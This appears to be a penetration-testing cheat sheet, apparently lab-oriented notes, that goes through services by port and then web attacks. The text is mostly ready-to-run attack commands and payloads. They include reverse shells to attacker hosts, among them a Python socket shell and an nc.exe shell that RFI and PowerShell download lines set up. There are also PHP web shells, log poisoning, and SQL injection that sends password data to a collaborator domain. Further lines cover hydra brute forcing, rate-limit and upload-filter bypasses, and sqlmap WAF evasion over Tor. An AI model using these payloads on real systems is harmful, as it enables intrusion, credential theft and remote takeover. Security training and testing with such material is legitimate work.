# Check for mod_ssl,OpenSSL version Openfuck
Port 500 - ISAKMP IKE
ike-scan 10.11.1.111
Port 513 - Rlogin
apt install rsh-client
rlogin -l root 10.11.1.111
Port 541 - FortiNet SSLVPN
Port 1433 - MSSQL
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
xp_cmdshell 'date'
go
EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
Port 1521 - Oracle
oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
Port 2000 - Cisco sccp
# cisco-audit-tool
CAT -h ip -p 2000
Port 2049 - NFS
showmount -e 10.11.1.111
# If you find anything you can mount it like this:
mount 10.11.1.111:/ /tmp/NFS
mount -t 10.11.1.111:/ /tmp/NFS
Port 2100 - Oracle XML DB
Default passwords:
https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm
Port 3306 - MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306
mysql --host=10.11.1.111 -u root -p
MYSQL UDF
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Port 3389 - RDP
nmap -p 3389 --script=rdp-vuln-ms12-020.nse
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
rdesktop -u guest -p guest 10.11.1.111 -g 94%
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
Port 5900 - VNC
nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
Port 5985 - WinRM
https://github.com/Hackplayers/evil-winrm
gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
Port 6379 - Redis
https://github.com/Avinash-acid/Redis-Server-Exploit
python redis.py 10.10.10.160 redis
Port 8172 - MsDeploy
Microsoft IIS Deploy port
IP:8172/msdeploy.axd
Unknown ports
amap -d 10.11.1.111 8000
- netcat: makes connections to ports. Can echo strings or give shells:
nc -nv 10.11.1.111 110
- sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations
Try admin:admin, user:user
Web
Automatic web scanners
# https://github.com/skavngr/rapidscan
python2 rapidscan.py example.com
# finalRecon
sudo python3 finalrecon.py --full https://example.com
# sn1per
sn1per -t example.com
# nikto2
nikto -h example.com
Quick tricks
- Web ports for nmap
80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672
- Check redirects
https://url.com/redirect/?url=http://twitter.com/
http://www.theirsite.com@yoursite.com/
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
/http://twitter.com/
/\\twitter.com
/\/twitter.com
?c=.twitter.com/
/?redir=google。com
//google%E3%80%82com
//google%00.com
# Remember url enconde the payloads!
- Retrieve additional info:
/favicon.ico/..%2f
/lol.png%23
/../../../
?debug=1
/server-status
/files/..%2f..%2f
- Bypass Rate Limits:
• Use different params:
sign-up, Sign-up, SignUp
• Use different headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 192.168.0.21 (Local IP 2 times
• Null byte on params:
%00, %0d%0a, %09, %0C, %20, %0
- Bypass upload restrictions:
• Change extension: .pHp3 or pHp3.jpg
• Modify mimetype: Content-type: image/jpeg
• Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
• Add gif header: GIF89a;
• All at the same time.
- ImageTragic (memory leaks in gif preview)
# https://github.com/neex/gifoeb
./gifoeb gen 512x512 dump.gif
# Upload dump.gif multiple times, check if preview changes.
# Check docs for exploiting
• If upload from web is allowed or :
https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
https://iplogger.org/invisible/
https://iplogger.org/15bZ87
• Mitigation : Proxy all the objects from third-party resources and create a CSP. Although this is only one way of mitigation, their could be many.
- Check HTTP options:
• Check if it is possible to upload
curl -v -X OPTIONS http://10.11.1.111/
• If put enabled, upload:
curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
• If PUT is not allowed, try to override:
X-HTTP-Method -Override: PUT
- Discover hidden parameters
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
- .DS_Store files?
# https://github.com/gehaxelt/Python-dsstore
python main.py samples/.DS_Store.ctf
- Polyglot RCE payload
1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
- Nmap web scan
nmap --script "http-*" example.com -p 443
- SQLi + XSS + SSTI
'"><svg/onload=prompt(5);>{{7*7}}
' ==> for Sql injection
"><svg/onload=prompt(5);> ==> for XSS
{{7*7}} ==> for SSTI/CSTI
Bruteforce
cewl
hash-identifier
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
medusa -h 10.11.1.111 -u admin -P password-file.txt -M http -m DIR:/admin -T 10
ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.111
crowbar -b rdp -s 10.11.1.111/32 -u victim -C /root/words.txt -n 1
patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
hydra -l root -P password-file.txt 10.11.1.111 ssh
hydra -P password-file.txt -v 10.11.1.111 snmp
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 ftp -V
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 pop3 -V
hydra -P /usr/share/wordlistsnmap.lst 10.11.1.111 smtp -V
hydra -L username.txt -p paswordl33t -t 4 ssh://10.10.1.111
hydra -L user.txt -P pass.txt 10.10.1.111 ftp
# PATATOR
patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
# SIMPLE LOGIN GET
hydra -L cewl_fin_50.txt -P cewl_fin_50.txt 10.11.1.111 http-get-form "/~login:username=^USER^&password=^PASS^&Login=Login:Unauthorized" -V
# GET FORM with HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.11.1.111 -s 443 -S https-get-form "/index.php:login=^USER^&password=^PASS^:Incorrect login/password\!"
# SIMPLE LOGIN POST
hydra -l root@localhost -P cewl 10.11.1.111 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed" -I
# API REST LOGIN POST
hydra -l admin -P /usr/share/wordlists/wfuzz/others/common_pass.txt -V -s 80 10.11.1.111 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials" -t 64
# Password spraying bruteforcer
# https://github.com/x90skysn3k/brutespray
python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5
Online dictionaries
https://www.cmd5.org/
http://hashes.org
https://www.onlinehashcrack.com/
https://gpuhash.me/
https://crackstation.net/
https://crack.sh/
https://hash.help/
https://passwordrecovery.io/
http://cracker.offensive-security.com/
https://md5decrypt.net/en/Sha256/
https://weakpass.com/wordlis
Crawl/Fuzz
# Crawlers
dirhunt https://url.com/
hakrawler -domain https://url.com/
# Fuzzers
# Best wordlists for fuzzing:
# https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
- RobotsDisallowed/top10000.txt
# ffuf
# Discover content
ffuf -recursion -c -e '.htm','.php','.html','.js','.txt','.zip','.bak','.asp','.aspx','.xml' -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u https://url.com/FUZZ
# Headers discover
ffuf -u https://hackxor.net -w /usr/share/SecLists/Discovery/Web-Content/BurpSuite-ParamMiner/both.txt -c -H "FUZZ: Hellothereheadertesting123 asd"
# Ffuf - burp
ffuf -replay-proxy http:127.0.0.1:8080
# Default login page
https://github.com/InfosecMatter/default-http-login-hunter
default-http-login-hunter.sh <URL>
# Dirsearch
dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt --request-by-hostname -t 40
# dirb
dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt
# wfuzz
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.11.1.11/FUZZ
# gobuster
gobuster dir -u http://10.11.1.111 -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
gobuster dir -e -u http://10.11.1.111/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
gobuster dir -u http://$10.11.1.111 -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt
gobuster dir -e -u http://10.11.1.111/ -w /usr/share/wordlists/dirb/common.txt
LFI/RFI
# LFI
**Tool**
# https://github.com/kurobeats/fimap
fimap -u "http://10.11.1.111/example.php?test="
# https://github.com/P0cL4bs/Kadimus
./kadimus -u localhost/?pg=contact -A my_user_agent
# https://github.com/wireghoul/dotdotpwn
dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
# Basic LFI
curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
# PHP Filter b64
http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
# Nullbyte ending
http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
# Other techniques
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd
https://abc.redact.com/asd.php?file:///etc/passwd%00
https://abc.redact.com/asd.php?file:///etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
# LFI Windows
http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext
- LFI using video upload:
https://github.com/FFmpeg/FFmpeg
https://hackerone.com/reports/226756
https://hackerone.com/reports/237381
https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
https://github.com/neex/ffmpeg-avi-m3u-xbin
# Contaminating log files
root@kali:~# nc -v 10.11.1.111 80
10.11.1.111: inverse host lookup failed: Unknown host
(UNKNOWN) [10.11.1.111] 80 (http) open
<?php echo shell_exec($_GET['cmd']);?>
http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig
# RFI:
http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
Content of evil.txt:
<?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
# RFI over SMB (Windows)
cat php_cmd.php
<?php echo shell_exec($_GET['cmd']);?>
- Start SMB Server in attacker machine and put evil script
- Access it via browser (2 request attack):
- http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
- http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
- Cross Content Hijacking:
https://github.com/nccgroup/CrossSiteContentHijacking
https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
http://50.56.33.56/blog/?p=242
- Encoding scripts in PNG IDAT chunk:
https://yqh.at/scripts_in_pngs.php
File Upload Bypass
- File name validation
- extension blacklisted:
pht,phpt,phtml,php3,php4,php5,php6
- extension whitelisted:
php%00.gif, shell.jpg.php
- Content type bypass
- Preserve name, but change content-type
Content-Type: image/jpeg, image/gif, image/png
- Content length:
- Small bad code:
<?='$_GET[x]'?>
# Filter Bypassing Techniques
- upload asp file using .cer & .asa extension (IIS — Windows)
- Upload .eml file when content-type = text/HTML
- Inject null byte shell.php%001.jpg
- Check for .svg file upload you can achieve stored XSS using XML payload
- put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
- Upload large size file for DoS attack test using the image.
- (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
- If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
- upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.
# Advance Bypassing techniques
- Imagetragick aka ImageMagick:
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
https://github.com/neex/gifoeb
# Upload file tool
https://github.com/almandin/fuxploider
python3 fuxploider.py --url https://example.com --not-regex "wrong file type"
SQLi
https://portswigger.net/web-security/sql-injection/cheat-sheet
SQLI Polyglots:
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
• MySQL:
• http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
• https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
• MSQQL:
• http://evilsql.com/main/page2.php
• http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
• ORACLE:
• http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
• POSTGRESQL:
• http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
• Others
• http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
• http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
• http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
• http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
• https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
• http://rails-sqli.org/
SQLi Basics
URL
Base:
https://insecure-website.com/products?category=Gifts
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
SQLi:
https://insecure-website.com/products?category=Gifts'--
https://insecure-website.com/products?category=Gifts'+OR+1=1--
LOGIN
User:
administrator'--
Password:
asdasdsa
OTHER TABLES
' UNION SELECT username, password FROM users--
GET VERSION INFO:
Microsoft,Mysql SELECT @@version
Oracle SELECT * FROM v$version / SELECT banner FROM v$version / SELECT version FROM v$instance
PostgreSQL SELECT version()
Blind SQLi
# Conditional Responses
Request with:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
In the DDBB it does:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”
To detect:
TrackingId=x'+OR+1=1-- OK
TrackingId=x'+OR+1=2-- KO
# User admin exist
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK
# Password length
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--
So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--
# Force conditional responses
TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK
TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;
# Time delays
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
TrackingId=x'||pg_sleep(10)--
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
# Out-of-Band OAST (Collaborator)
Asynchronous response
Confirm:
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
Exfil:
TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
UNIONs
' UNION SELECT username, password FROM users--
Must match number of columns and its types (NULL):
Detect number of columns required:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
or
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
In Oracle: ' UNION SELECT NULL FROM DUAL--
Detect valid data column's datatype:
-Must match correct columns number
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
Get values in 1 column:
' UNION SELECT username || '~' || password FROM users--
Second Order SQLi
A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:
1. Firstly, we STORE a particular user-supplied input value in the DB and
2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.
Example payload:
X' UNION SELECT user(),version(),database(), 4 --
X' UNION SELECT 1,2,3,4 --
- For example, in a password reset query with user "User123' --":
$pwdreset = mysql_query(“UPDATE users SET password=’getrekt’ WHERE username=’User123' — ‘ and password=’UserPass@123'”);
Will be:
$pwdreset = mysql_query(“UPDATE users SET password=’getrekt’ WHERE username=’User123'”);
So you don't need to know the password.
- User = ‘ or ’asd'='asd it will return always true
- User = admin'-- probably not check the password
sqlmap
# Post
./sqlmap.py -r search-test.txt -p tfUPass
# Get
sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql
# Crawl
sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3
# Full auto - FORMS
sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
# Columns
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
# Values
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin
sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords
SQLMAP WAF bypass
--level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
--dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
--dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
-v3 --technique=T --no-cast --fresh-queries --banner
sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs
-f -b --current-user --current-db --is-dba --users --dbs
--risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
--risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs
--random-agent --dbms=MYSQL --dbs --technique=B"
--identify-waf --random-agent -v 3 --dbs
1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3
--threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump
--tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent
sqlmap.py -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
--banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2
-v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu
sqlmap --wizard
sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql
sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns
--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump
tamper=between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percentage.py,randomcase.py,securesphere.py,sp_password.py,space2comment.py,space2dash.py,space2mssqlblank.py,space2mysqldash.py,space2plus.py,space2randomblank.py,unionalltounion.py,unmagicquotes.py --dbms=mssql
APIs
REST uses: HTTP, JSON , URL and XML
SOAP uses: mostly HTTP and XML
# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
Checklist:
• Basic auth, OAuth or JWT
• Login meets the standards
• Encryption in sensible fields
• Test from most vulnerable to less
◇ Organization's user management
◇ Export to CSV/HTML/PDF
◇ Custom views of dashboards
◇ Sub user creation&management
◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
JWT (JSON Web Token)
• Use a random complicated key (JWT Secret) to make brute forcing the token very hard.
• Don't extract the algorithm from the header. Force the algorithm in the backend (HS256 or RS256).
• Make token expiration (TTL, RTTL) as short as possible.
• Don't store sensitive data in the JWT payload, it can be decoded easily.
OAuth
• Always validate redirect_uri server-side to allow only whitelisted URLs.
• Always try to exchange for code and not tokens (don't allow response_type=token).
• Use state parameter with a random hash to prevent CSRF on the OAuth authentication process.
• Define the default scope, and validate scope parameters for each application.
Access
• Limit requests (Throttling) to avoid DDoS / brute-force attacks.
• Use HTTPS on server side to avoid MITM (Man in the Middle Attack).
• Use HSTS header with SSL to avoid SSL Strip attack.
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
• Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
• Bruteforce login
• Try mobile API versions
Input
• Use the proper HTTP method according to the operation: GET (read), POST (create), PUT/PATCH (replace/update), and DELETE (to delete a record), and respond with 405 Method Not Allowed if the requested method isn't appropriate for the requested resource.
• Validate content-type on request Accept header (Content Negotiation) to allow only your supported format (e.g. application/xml, application/json, etc.) and respond with 406 Not Acceptable response if not matched.
• Validate content-type of posted data as you accept (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
